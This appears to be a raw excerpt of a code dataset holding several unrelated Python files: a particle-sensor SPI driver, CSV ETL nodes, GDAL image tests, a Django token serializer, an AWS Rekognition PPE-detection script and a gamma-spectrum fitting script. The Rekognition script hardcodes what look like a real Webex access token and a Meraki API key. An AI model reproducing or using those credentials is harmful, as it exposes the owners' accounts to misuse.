----------------------------------------------------------------------------------------------------------------\n\n __BOOT_TIME = 4.0 # seconds\n __POWER_CYCLE_TIME = 10.0 # seconds\n\n __LASER_START_TIME = 1.0 # seconds\n __FAN_START_TIME = 5.0 # seconds\n\n __FAN_STOP_TIME = 2.0 # seconds\n\n __MAX_PERMITTED_ZERO_READINGS = 4\n\n __CMD_POWER = 0x03\n __CMD_LASER_ON = 0x07\n __CMD_LASER_OFF = 0x06\n __CMD_FAN_ON = 0x03\n __CMD_FAN_OFF = 0x02\n\n __CMD_READ_HISTOGRAM = 0x30\n\n __CMD_GET_FIRMWARE = 0x3f\n __CMD_GET_VERSION = 0x12\n __CMD_GET_SERIAL = 0x10\n __CMD_GET_STATUS = 0x13\n\n __CMD_GET_CONF = 0x3c\n __CMD_SET_CONF = 0x3a\n __CMD_SET_BIN_WEIGHTING_INDEX = 0x05\n\n __CMD_SAVE_CONF = 0x43\n __CMD_SAVE_CONF_SEQUENCE = (0x3F, 0x3c, 0x3f, 0x3c, 0x43)\n\n __CMD_CHECK = 0xcf\n\n __CMD_RESET = 0x06\n\n __RESPONSE_BUSY = 0x31\n __RESPONSE_NOT_BUSY = (0x00, 0xff, 0xf3)\n\n __SPI_CLOCK = 326000 # Minimum speed for OPCube\n __SPI_MODE = 1\n\n __DELAY_TRANSFER = 0.020 # 0.001\n __DELAY_CMD = 0.020 # 0.010\n __DELAY_BUSY = 0.100\n\n __LOCK_TIMEOUT = 20.0\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n @classmethod\n def source(cls):\n return OPCN3Datum.SOURCE\n\n\n @classmethod\n def lock_timeout(cls):\n return cls.__LOCK_TIMEOUT\n\n\n @classmethod\n def boot_time(cls):\n return cls.__BOOT_TIME\n\n\n @classmethod\n def power_cycle_time(cls):\n return cls.__POWER_CYCLE_TIME\n\n\n @classmethod\n def max_permitted_zero_readings(cls):\n return cls.__MAX_PERMITTED_ZERO_READINGS\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def __init__(self, interface, dev_path):\n \"\"\"\n Constructor\n \"\"\"\n super().__init__(interface, dev_path, self.__SPI_MODE, self.__SPI_CLOCK)\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def operations_on(self):\n try:\n self.obtain_lock()\n\n # fan...\n self.__cmd_power(self.__CMD_FAN_ON)\n time.sleep(self.__FAN_START_TIME)\n\n # laser...\n self.__cmd_power(self.__CMD_LASER_ON)\n\n finally:\n self.release_lock()\n\n\n def operations_off(self):\n try:\n self.obtain_lock()\n\n # laser...\n self.__cmd_power(self.__CMD_LASER_OFF)\n\n # fan...\n self.__cmd_power(self.__CMD_FAN_OFF)\n time.sleep(self.__FAN_STOP_TIME)\n\n finally:\n self.release_lock()\n\n\n def reset(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_RESET)\n\n time.sleep(self.__DELAY_TRANSFER)\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def sample(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_READ_HISTOGRAM)\n chars = self.__read_bytes(OPCN3Datum.CHARS)\n\n # report...\n return OPCN3Datum.construct(chars)\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def serial_no(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_GET_SERIAL)\n chars = self.__read_bytes(60)\n\n # report...\n report = ''.join(chr(byte) for byte in chars)\n pieces = report.split(' ')\n\n if len(pieces) < 2:\n return None\n\n return pieces[1]\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n def version(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_GET_VERSION)\n\n # report...\n major = int(self.__read_byte())\n minor = int(self.__read_byte())\n\n return major, minor\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n def status(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_GET_STATUS)\n chars = self.__read_bytes(OPCStatus.CHARS)\n\n # report...\n status = OPCStatus.construct(chars)\n\n return status\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n def firmware(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_GET_FIRMWARE)\n chars = self.__read_bytes(60)\n\n # report...\n report = ''.join(chr(byte) for byte in chars)\n\n return report.strip('\\0\\xff') # \\0 - Raspberry Pi, \\xff - BeagleBone\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def get_firmware_conf(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_GET_CONF)\n chars = self.__read_bytes(OPCFirmwareConf.CHARS)\n\n # report...\n conf = OPCFirmwareConf.construct(chars)\n\n return conf\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n def set_firmware_conf(self, jdict):\n conf = OPCFirmwareConf.construct_from_jdict(jdict)\n chars = conf.as_chars()\n\n try:\n self.obtain_lock()\n self._spi.open()\n\n # set conf...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_SET_CONF)\n self.__write_bytes(chars)\n\n # set bin_weighting_index...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_SET_BIN_WEIGHTING_INDEX)\n self.__write_byte(conf.bin_weighting_index)\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n def commit_firmware_conf(self):\n try:\n self.obtain_lock()\n self._spi.open()\n\n # command...\n self.__wait_while_busy()\n self.__cmd(self.__CMD_SAVE_CONF)\n self.__write_bytes(self.__CMD_SAVE_CONF_SEQUENCE)\n\n finally:\n self._spi.close()\n self.release_lock()\n\n\n # ----------------------------------------------------------------------------------------------------------------\n\n def __wait_while_busy(self, specified_timeout=None):\n timeout = self.DEFAULT_BUSY_TIMEOUT if specified_timeout is None else specified_timeout\n timeout_time = time.time() + timeout\n\n self.__cmd(self.__CMD_CHECK)\n\n while self.__read_byte() == self.__RESPONSE_BUSY:\n if time.time() > timeout_time:\n raise TimeoutError()\n\n time.sleep(self.__DELAY_BUSY)\n\n\n def __cmd_power(self, cmd):\n try:\n self._spi.open()\n\n while True:\n response = self._spi.xfer([self.__CMD_POWER])\n time.sleep(self.__DELAY_CMD)\n\n # print([\"0x%02x\" % char for char in response], file=sys.stderr)\n # sys.stderr.flush()\n\n if response[0] in self.__RESPONSE_NOT_BUSY:\n break\n\n self._spi.xfer([cmd])\n time.sleep(self.__DELAY_TRANSFER)\n\n finally:\n self._spi.close()\n\n\n def __cmd(self, cmd):\n self._spi.xfer([cmd])\n time.sleep(self.__DELAY_CMD)\n\n self._spi.xfer([cmd])\n time.sleep(self.__DELAY_TRANSFER)\n\n\n def __read_bytes(self, count):\n response = [self.__read_byte() for _ in range(count)]\n\n # print([\"0x%02x\" % char for char in response], file=sys.stderr)\n # sys.stderr.flush()\n\n return response\n\n\n def __read_byte(self):\n chars = self._spi.read_bytes(1)\n time.sleep(self.__DELAY_TRANSFER)\n\n return chars[0]\n\n\n def __write_bytes(self, chars):\n for char in chars:\n self.__write_byte(char)\n\n\n def __write_byte(self, char):\n self._spi.xfer([char])\n time.sleep(self.__DELAY_CMD)\n","sub_path":"src/scs_dfe/particulate/opc_n3/opc_n3.py","file_name":"opc_n3.py","file_ext":"py","file_size_in_byte":10466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"297867692","text":"from os import listdir\nfrom os.path import isfile, join\nimport io\nimport csv\nimport itertools\nimport logging\n\nfrom cubetl.core import Node\nfrom cubetl.core.exceptions import ETLException\nfrom cubetl.fs import FileReader, FileWriter\nimport chardet\nimport re\n\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\nclass CsvReader(Node):\n\n data = '${ m[\"data\"] }'\n\n headers = None\n\n comment = None\n delimiter = \",\"\n row_delimiter = \"\\n\"\n ignore_missing = False\n strip = False\n\n count = 0\n _linenumber = 0\n\n def _utf_8_encoder(self, unicode_csv_data):\n for line in unicode_csv_data:\n yield line\n #yield line.encoes()de('utf-8')\n\n def process(self, ctx, m):\n\n logger.debug(\"Processing CSV data at %s\" % self)\n\n # Resolve data\n data = ctx.interpolate(m, self.data)\n\n header = None\n if (self.headers):\n if (isinstance(self.headers, str)):\n header = [h.strip() for h in self.headers.split(\",\")]\n else:\n header = self.headers\n\n self._linenumber = 0\n rows = iter(data.split(self.row_delimiter))\n\n reader = csv.reader(rows, delimiter=self.delimiter)\n for row in reader:\n\n # Skip empty lines\n if (len(row) == 1 and not row[0].strip()) or len(row) == 0:\n continue\n\n # Skip lines with comments if so configured\n if (self.comment and row[0].startswith(self.comment)):\n continue\n\n # Load header if not defined already\n if header is None:\n header = [v for v in row]\n logger.debug(\"CSV header is: %s\" % header)\n continue\n\n #if (self._linenumber == 0) and (self.header): continue\n\n self._linenumber = self._linenumber + 1\n\n #arow = {}\n if (len(row) > 0):\n try:\n arow = ctx.copy_message(m)\n for header_index in range(0, len(header)):\n if header_index < len(row) or not self.ignore_missing:\n # arow[(header[header_index])] = str(row[header_index], \"utf-8\")\n value = row[header_index]\n if self.strip:\n value = value.strip()\n arow[header[header_index]] = value\n except Exception as e:\n logger.error(\"Could not process CSV data (%r) at %s: %s\" % (row, self, e))\n raise ETLException(\"Could not process CSV data (%r) at %s: %s\" % (row, self, e))\n\n self.count = self.count + 1\n arow['_csv_count'] = self.count\n arow['_csv_linenumber'] = self._linenumber\n\n yield arow\n\n\nclass CsvFileReader (CsvReader):\n \"\"\"\n This class is a shortcut to a FileReader and CsvReader\n \"\"\"\n\n # TODO: This shall be a FileLineReader?\n\n path = None\n\n encoding = \"detect\"\n encoding_errors = \"strict\" # strict, ignore, replace\n encoding_abort = True\n\n def initialize(self, ctx):\n\n super(CsvFileReader, self).initialize(ctx)\n\n self._fileReader = FileReader()\n self._fileReader.path = self.path\n if (self.encoding):\n self._fileReader.encoding = self.encoding\n\n ctx.comp.initialize(self._fileReader)\n\n def finalize(self, ctx):\n ctx.comp.finalize(self._fileReader)\n super(CsvFileReader, self).finalize(ctx)\n\n def process(self, ctx, m):\n\n logger.debug(\"Reading and processing CSV file at %s\" % self)\n\n files_msgs = ctx.comp.process(self._fileReader, m)\n for mf in files_msgs:\n csv_rows = super(CsvFileReader, self).process(ctx, m)\n for csv_row in csv_rows:\n yield csv_row\n\n\nclass CsvFileWriter(Node):\n\n # TODO: This class should possibly inherit from FileWriter\n\n data = '${ m }'\n headers = None\n write_headers = True\n path = \"-\"\n\n _row = 0\n\n delimiter = \",\"\n row_delimiter = \"\\n\"\n\n overwrite = False\n encoding = None #\"utf-8\"\n\n _output = None\n _csvwriter = None\n\n columns = None\n\n def initialize(self, ctx):\n\n super(CsvFileWriter, self).initialize(ctx)\n\n self._fileWriter = FileWriter()\n self._fileWriter.path = self.path\n self._fileWriter.data = \"${ m['_csvdata'] }\"\n if (self.encoding):\n self._fileWriter.encoding = self.encoding\n self._fileWriter.overwrite = self.overwrite\n self._fileWriter.newline = False\n\n # Process columns\n for c in self.columns:\n if not \"label\" in c:\n c[\"label\"] = c[\"name\"]\n if not \"value\" in c:\n c[\"value\"] = '${ m[\"' + c[\"name\"] + '\"] }'\n\n ctx.comp.initialize(self._fileWriter)\n\n def finalize(self, ctx):\n ctx.comp.finalize(self._fileWriter)\n super(CsvFileWriter, self).finalize(ctx)\n\n def _csv_row(self, ctx, row):\n\n if self.encoding:\n row = [(r.encode(self.encoding) if isinstance(r, str) else r) for r in row]\n\n self._csvwriter.writerow(row)\n result = self._output.getvalue()\n self._output.truncate(0)\n return result\n\n def process(self, ctx, m):\n\n if not self._csvwriter:\n self._output = io.StringIO()\n self._csvwriter = csv.writer(self._output, delimiter=self.delimiter,\n quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n if (self._row == 0):\n if (self.write_headers):\n row = [c[\"label\"] for c in self.columns]\n m['_csvdata'] = self._csv_row(ctx, row)\n self._fileWriter.process(ctx, m)\n\n self._row = self._row + 1\n\n row = [ctx.interpolate(m, c[\"value\"]) for c in self.columns]\n m['_csvdata'] = self._csv_row(ctx, row)\n self._fileWriter.process(ctx, m)\n del (m['_csvdata'])\n\n yield m\n\n\n\n","sub_path":"cubetl/csv/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"107924469","text":"#\n# Test common module\n#\nimport tempfile\nimport shutil\nimport os\n\nfrom unittest import TestCase, main\n\nimport numpy as np\n\nfrom osgeo.gdal import __version__ as gdal_version\n\nfrom gimg.cli import get_files_from_folder, write_to_file, EXTENSIONS_GDAL_DRIVER_CODE_MAP\nfrom gimg import GeoImage\n\n\nfrom .create_datasets import create_dataset_with_target_is_folder, create_dataset_with_target_is_mask_file, \\\n create_dataset_with_target_is_mask_file2, create_potsdam_like_dataset\n\nfrom . import check_metadata\n\n\nclass TestCliModule(TestCase):\n\n def setUp(self):\n self.gdal_version_major = int(gdal_version[0])\n self.tempdir = tempfile.mkdtemp()\n\n def tearDown(self):\n shutil.rmtree(self.tempdir)\n\n def test_extension_gdal_driver_code_map(self):\n common_exts = ['tif', 'jpg', 'png', 'bmp', 'gif']\n for ext in common_exts:\n self.assertIn(ext, EXTENSIONS_GDAL_DRIVER_CODE_MAP)\n\n def test_get_files_from_folder(self):\n\n def _test(fn, extensions, **kwargs):\n p = os.path.join(self.tempdir, 'data')\n os.mkdir(p)\n true_dataset = fn(p, **kwargs)\n files = get_files_from_folder(self.tempdir, extensions=extensions)\n for img_filepath, _ in true_dataset:\n self.assertIn(img_filepath, files)\n shutil.rmtree(p)\n\n _test(create_dataset_with_target_is_folder, (\"ext1\", ), n=100)\n _test(create_dataset_with_target_is_folder, None, n=100)\n _test(create_dataset_with_target_is_mask_file, (\"ext1\", \"ext2\"), n=100)\n _test(create_dataset_with_target_is_mask_file2, (\"ext1\", \"ext2\"), n=100)\n _test(create_dataset_with_target_is_mask_file2, None, n=100)\n _test(create_potsdam_like_dataset, (\"tif\", ))\n\n def _generate_data_to_write(self, filename, dtype, shape):\n filepath = os.path.join(self.tempdir, filename)\n metadata = {'key_1': 'value_1', 'key_2': \"1 2 3\", 'key_3': '3'}\n geo_info = {\n 'epsg': 4326,\n 'geo_extent': [[0.0, 1.0], [1.0, 0.0], [0.0, -1.0], [-1.0, 0.0]]\n }\n data = np.random.randint(0, 128, size=shape, dtype=dtype)\n return filepath, data, geo_info, metadata\n\n def _test_write_to_file(self, ext, dtype, shape, options=None):\n filepath, data, geo_info, metadata = self._generate_data_to_write(ext, dtype, shape)\n geo_extent = geo_info['geo_extent']\n\n write_to_file(data, filepath, geo_info, metadata, options=options)\n self.assertTrue(os.path.exists(filepath))\n\n gimage = GeoImage(filepath)\n\n if self.gdal_version_major > 1:\n self.assertTrue(check_metadata(metadata, gimage.metadata),\n \"{} vs {}\".format(metadata, gimage.metadata))\n\n self.assertLess(np.sum(np.abs(geo_extent - gimage.geo_extent)), 1e-10,\n \"{} vs {}\".format(geo_extent, gimage.geo_extent))\n\n gimage_data = gimage.get_data()\n self.assertEqual(shape, gimage_data.shape)\n self.assertEqual(dtype, gimage_data.dtype)\n # verify data\n self.assertLess(np.sum(np.abs(data - gimage_data)), 1e-10)\n\n def _test_write_to_file_no_geo(self, ext, dtype, shape, options=None):\n filepath, data, _, _ = self._generate_data_to_write(ext, dtype, shape)\n\n write_to_file(data, filepath, None, None, options=options)\n self.assertTrue(os.path.exists(filepath))\n gimage = GeoImage(filepath)\n gimage_data = gimage.get_data()\n self.assertEqual(shape, gimage_data.shape)\n self.assertEqual(dtype, gimage_data.dtype)\n # verify data\n self.assertLess(np.sum(np.abs(data - gimage_data)), 1e-10)\n\n def test_write_to_file(self):\n self._test_write_to_file('f1.tif', np.uint8, (50, 50, 3))\n self._test_write_to_file('f1c.tif', np.uint8, (50, 50, 3), options=['COMPRESS=LZW'])\n self._test_write_to_file('f2.tif', np.uint16, (50, 50, 4))\n self._test_write_to_file('f1.png', np.uint8, (50, 50, 3))\n # Can not test JPG on data exactness due to compression\n # self._test_write_to_file('f1.jpg', np.uint8, (50, 50, 3), options=['QUALITY=100'])\n\n self._test_write_to_file_no_geo('fng1.tif', np.uint8, (50, 50, 3))\n self._test_write_to_file_no_geo('fng1c.tif', np.uint8, (50, 50, 3), options=['COMPRESS=LZW'])\n self._test_write_to_file_no_geo('fng2.tif', np.uint16, (50, 50, 4))\n self._test_write_to_file_no_geo('fng1.png', np.uint8, (50, 50, 3))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":4539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"62246699","text":"#!/usr/bin/python3\n\"\"\" simple module \"\"\"\n\n\nclass Student:\n '''Student class\n '''\n\n def __init__(self, first_name, last_name, age):\n '''defines a student\n '''\n self.first_name = first_name\n self.last_name = last_name\n self.age = age\n\n def to_json(self, attrs=None):\n if attrs is None:\n return (self.__dict__)\n else:\n d = {}\n for names in attrs:\n if hasattr(self, names):\n d[names] = getattr(self, names)\n return (d)\n\n def reload_from_json(self, json):\n vars(self).update(json)\n","sub_path":"0x0B-python-input_output/11-student.py","file_name":"11-student.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"105072776","text":"import boto3\nimport json\nimport time\nfrom urllib.request import urlopen\nimport requests\nimport os\nfrom dotenv import load_dotenv\n\n# AWS access key and secret key\nload_dotenv()\na_key = os.getenv('AWS_ACCESS_KEY')\ns_key = os.getenv('AWS_SECRET_KEY')\n\n# WEBEX\naccess_token = \"YzYxZjg2N2UtNTZmNi00YzhkLTgzOWUtZmRjZGQ1YWUxN2M3NmIwOGZiODAtZGZh_PF84_1eb65fdf-9643-417f-9974-ad72cae0e10f\"\nteams_room = \"Y2lzY29zcGFyazovL3VzL1JPT00vNTVlODM2MjAtMDBjZC0xMWVjLWE5NGEtOTE0MWYxY2FlM2M5\"\n\n# MERAKI\napi_key = 'b7f21d401cfcce7311c94edc2a41cd048bea032d'\nMV_Camera_SN = \"Q2GV-9GBH-4PC3\"\nbase_url = f\"https://api.meraki.com/api/v1/devices/{MV_Camera_SN}/camera/generateSnapshot\"\n\n\n# The goal is to get the screenshot and store it in s3 and then use it from there to process it for PPE Detection\n\n\ndef detect_labels(photo, bucket):\n rekog = boto3.client(\n 'rekognition', aws_access_key_id=a_key, aws_secret_access_key=s_key)\n\n # client=boto3.client('rekognition')\n\n response = rekog.detect_protective_equipment(Image={'S3Object': {'Bucket': bucket, 'Name': photo}},\n SummarizationAttributes={'MinConfidence': 80, 'RequiredEquipmentTypes': ['FACE_COVER', 'HAND_COVER', 'HEAD_COVER']})\n\n print('Detected PPE for people in image ' + photo)\n print('\\nDetected people\\n---------------')\n for person in response['Persons']:\n\n print('Person ID: ' + str(person['Id']))\n print('Body Parts\\n----------')\n body_parts = person['BodyParts']\n if len(body_parts) == 0:\n print('No body parts found')\n else:\n for body_part in body_parts:\n print(\n '\\t' + body_part['Name'] + '\\n\\t\\tConfidence: ' + str(body_part['Confidence']))\n print('\\n\\t\\tDetected PPE\\n\\t\\t------------')\n ppe_items = body_part['EquipmentDetections']\n if len(ppe_items) == 0:\n print('\\t\\tNo PPE detected on ' + body_part['Name'])\n else:\n for ppe_item in ppe_items:\n print(\n '\\t\\t' + ppe_item['Type'] + '\\n\\t\\t\\tConfidence: ' + str(ppe_item['Confidence']))\n print('\\t\\tCovers body part: ' + str(ppe_item['CoversBodyPart']['Value']) + '\\n\\t\\t\\tConfidence: ' + str(\n ppe_item['CoversBodyPart']['Confidence']))\n print('\\t\\tBounding Box:')\n print('\\t\\t\\tTop: ' +\n str(ppe_item['BoundingBox']['Top']))\n print('\\t\\t\\tLeft: ' +\n str(ppe_item['BoundingBox']['Left']))\n print('\\t\\t\\tWidth: ' +\n str(ppe_item['BoundingBox']['Width']))\n print('\\t\\t\\tHeight: ' +\n str(ppe_item['BoundingBox']['Height']))\n print('\\t\\t\\tConfidence: ' +\n str(ppe_item['Confidence']))\n print()\n print()\n\n print('Person ID Summary\\n----------------')\n display_summary('With required equipment',\n response['Summary']['PersonsWithRequiredEquipment'])\n display_summary('Without required equipment',\n response['Summary']['PersonsWithoutRequiredEquipment'])\n display_summary('Indeterminate',\n response['Summary']['PersonsIndeterminate'])\n\n print()\n return len(response['Persons'])\n\n# Display summary information for supplied summary.\n\n\ndef display_summary(summary_type, summary):\n print(summary_type + '\\n\\tIDs: ', end='')\n if (len(summary) == 0):\n print('None')\n else:\n for num, id in enumerate(summary, start=0):\n if num == len(summary)-1:\n print(id)\n else:\n print(str(id) + ', ', end='')\n\n\ndef main():\n photo = 'snapshot.jpg' # The name of the image you uploaded in the bucket\n bucket = 'faceforppedetection' # Enter the name of the bucket here\n person_count = detect_labels(photo, bucket)\n print(\"Persons detected: \" + str(person_count))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"for_testing/app_swati.py","file_name":"app_swati.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"240827237","text":"\nfrom django.utils import timezone\nfrom rest_framework.serializers import ModelSerializer\nfrom . models import Users\nfrom accounts.views import *\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\n\nuid=0\nclass UserTokenObtainPairSerializer(TokenObtainPairSerializer):\n \n def validate(self, args):\n # global uid\n \n data = super(TokenObtainPairSerializer, self).validate(args)\n refresh = self.get_token(self.user)\n \n data['access-token'] = str(refresh.access_token)\n data['refresh-token'] = str(refresh)\n data['email'] = self.user.email\n data['id']=self.user.id\n data['name'] = self.user.first_name\n data['date_of_birth'] = self.user.date_of_birth\n data['gender']=self.user.gender\n self.user.last_login = timezone.now()\n self.user.save()\n uid=data['name'] \n print(\"validate\",uid)\n return data\n\n\n\nclass UsersSerializer(ModelSerializer):\n\n class Meta:\n model = Users\n fields = ('id', 'email', 'first_name', 'last_name', 'phone', 'type')\n","sub_path":"accounts/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"266893284","text":"#!/usr/bin/env python3.7\nimport numpy as np\nimport pandas as pd\nimport tinydb as db\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import simps\nfrom pygama import DataSet\nimport pygama.utils as pgu\nimport pygama.analysis.histograms as pgh\nimport pygama.analysis.peak_fitting as pga\nfrom numpy import diff\n\n \n\n\"\"\"\"\"\nThis is a script to fit the 60keV, 99keV and 103keV lines of an 241Am scan.\nThis script is based on the pygama version from December 2019 and is a bit outdated. \nAn update will be done soon\n\nYou need to have done a Calibration before and the output must be in the ds.calDB file\n\nThe function takes a DataSet (December version) and a t2-level file \nThen a fit on the 60kev line and on the 99/103 keV lines is performed, the\nintegrals are caluclated and the ratio is determind\n\nA.Zschocke\n\"\"\"\n\n\ndef fit_Am_lines(ds, t2, display=False, write_DB=True):\n\n print(\"Fit Am lines\")\n\n etype, ecal = \"e_ftp\", \"e_cal\"\n e_peak = 0\n\n #Load calibration Values \n calDB = ds.calDB\n query = db.Query()\n table = calDB.table(\"cal_pass3\").all()\n df_cal = pd.DataFrame(table) \n\n slope = df_cal.iloc[0][\"slope\"]\n offset = df_cal.iloc[0][\"offset\"]\n \n # load in the energy and apply (linear) calibration\n ene = t2[etype]\n e_cal = ene* (ene * slope +offset)\n\n green_line = slope * 500 + offset\n\n\n \n fits = {}\n pk_names = ds.config[\"pks\"]\n am_peaks = ds.config[\"peaks_of_interest\"]\n \n # Here I did a quick study on the impact of the bin size on the integral\n # and the chi2 (this is the next for loop)\n ar = []\n chic = []\n scan = [0.1,0.09,0.08,0.07,0.06,0.05,0.04,0.03,0.02,0.01]\n aq = 1500000\n\n # For loop over different bin sizes \n for bi in scan:\n\n # Do the 100keV lines first\n xlo, xhi, xpb = 90, 110,bi\n hE, xE, vE = pgh.get_hist(e_cal, range=(xlo, xhi), dx=xpb)\n inf = np.inf \n \n # Set up initial values and limits\n guess_100 = [100000,99,0.5,11000,103,0.5,4050,101,0.5, 400000,39000,400,20000] \n bounds_100 = ([-np.inf,97,-np.inf,-np.inf,102,-np.inf,-np.inf,100.1,0.001,-inf,-inf,-inf,-inf],[inf,100,inf,inf,104,inf,inf,101.7,0.8,inf,inf,inf,inf]) \n\n #Do the fit (Am_double function from PeakFitting.py)\n xF, xF_cov = pga.fit_hist(pga.Am_double, hE, xE, var=np.ones(len(hE)), guess=guess_100, bounds=bounds_100)\n dg_fit, gaus1, gaus2, gaus3, step1, step2 = pga.Am_double(xE,*xF,components=True)\n\n results = {\n \"99keV\" : xF[1],\n \"99keV_fwhm\" : xF[2] * 2.355,\n \"103keV\" : xF[4],\n \"103keV_fwhm\" : xF[5] * 2.355\n\n # ...\n }\n\n \n #calculate the integral \n area_g1 = simps(gaus1,dx = bi)\n area_g2 = simps(gaus2,dx = bi) \n \n chisq = []\n for i, h in enumerate(hE):\n diff = (pga.Am_double(xE[i], *xF) - hE[i])**2 / hE[i]\n chisq.append(abs(diff))\n\n results[\"peak_integral1\"] = area_g1\n results[\"peak_integral2\"] = area_g2\n chisq_ndf_100 = sum(np.array(chisq) / (len(hE)-13))\n \n # Plot it if wanted\n if display:\n plt.plot(xE[1:],hE,ls='steps', lw=1, c='b', label=\"data\")\n plt.plot(xE,pga.Am_double(xE,*xF),c='r', label='Fit')\n plt.plot(xE,gaus1+gaus2,c='m', label='Gauss 99 keV + 103 keV')\n plt.plot(xE,gaus3,c='y', label='Gauss bkg')\n plt.plot(xE,step1+step2,c='g', label='Step')\n plt.xlabel(\"Energy [keV]\",ha='right', x=1.0)\n plt.ylabel(\"Counts\",ha='right', y=1.0)\n plt.legend()\n meta_dir = os.path.expandvars(ds.config[\"meta_dir\"])\n runNum = ds.ds_list[0]\n\n plt.savefig(meta_dir+\"/plots/100keV_100ev_bin_lines_run\" + str(runNum)+\".png\")\n plt.show()\n \n\n\n # Do the 60 keV line\n xlo, xhi, xpb = 50, 70, bi\n hE, xE, vE = pgh.get_hist(e_cal, range=(xlo, xhi), dx=xpb)\n \n a = aq\n mu = 59.5 \n sigma = 0.3\n tail = 50000\n tau = 0.5 \n bkg = 4000\n step = 3500\n guess_60 = [a,mu,sigma,tail,tau,bkg,step]\n bounds_60 = ([10,59,0.001,0.0,0.001,10,10],[inf,60.5,0.8,inf,inf,10000000,1000000])\n\n # The fit Function is a gauss_cdf\n xF, xF_cov = pga.fit_hist(pga.gauss_cdf, hE, xE, var=np.ones(len(hE)), guess=guess_60, bounds=bounds_60) \n line, tail, step, peak = pga.gauss_cdf(xE,*xF,components=True)\n\n chisq_60 = []\n print(\"Calculating the chi^2\")\n\n for i, h in enumerate(hE):\n func = pga.gauss_cdf(xE[i], *xF)\n diff = (func - hE[i])\n dev = diff**2/func\n chisq_60.append(abs(dev))\n \n chi_60 = sum(np.array(chisq_60))\n chisq_ndf_60 = chi_60/(len(hE))\n\n meta_dir = os.path.expandvars(ds.config[\"meta_dir\"])\n runNum = ds.ds_list[0]\n\n if display:\n plt.plot(xE[1:],hE,ls='steps', lw=1, c='b', label=\"data\")\n plt.plot(xE,pga.gauss_cdf(xE,*xF),c='r', label='Fit')\n plt.plot(xE,(peak+tail), c='m', label = 'Gauss+Tail')\n plt.plot(xE,step, c='g', label = 'Step')\n plt.xlabel(\"Energy [keV]\",ha='right', x=1.0)\n plt.ylabel(\"Counts\",ha='right', y=1.0)\n plt.legend()\n plt.savefig(meta_dir+\"/plots/60keV_lines_100ev_bin__run\" + str(runNum) +\".png\")\n plt.show()\n\n area = simps(peak+tail,dx=bi)\n \n print(\"xF\\n\",xF)\n print(\"chi_60\", chisq_ndf_60)\n print(\"chi_100\", chisq_ndf_100)\n print(\"Peak Integrals:\")\n print(\"60 keV = \", area)\n print(\"99 keV = \", area_g1)\n print(\"10 3keV = \", area_g2)\n print(\"ratio 1 = \", area/area_g1)\n print(\"ratio 2 = \", area/area_g2)\n print(\"ratio 3 = \", area/(area_g1+area_g2))\n \n ar.append(area/(area_g1+area_g2))\n chic.append(chisq_ndf_60)\n\n plt.subplot(211)\n plt.plot(scan,chic,'bx',ms=15,label='chi^2/f')\n plt.grid()\n plt.axvline(green_line, c='g', lw=1, label=\"calibration value at 100 keV\")\n plt.legend() \n plt.subplot(212)\n plt.plot(scan,ar,'kx',ms=15,label='ratio \"n60/(n99+n103)\"')\n plt.axvline(green_line, c='g', lw=1, label=\"calibration value at 100 keV\")\n plt.xlabel(\"bin size [keV]\")\n plt.grid()\n plt.legend()\n plt.show() \n \n if write_DB: \n res_db = meta_dir+\"/PeakRatios_100evbin.json\"\n resDB = db.TinyDB(res_db)\n query = db.Query()\n ratiotable = resDB.table(\"Peak_Ratios\")\n\n for dset in ds.ds_list:\n row = {\n \"ds\":dset,\n \"chi2_ndf_60\":chisq_ndf_60,\n \"chi2_ndf_100\":chisq_ndf_100,\n \"60_keV\": area,\n \"99_keV\": area_g1,\n \"103_keV\": area_g2,\n \"r1\": area/area_g1,\n \"r2\": area/area_g2,\n \"r3\":area/(area_g1+area_g2)\n\n 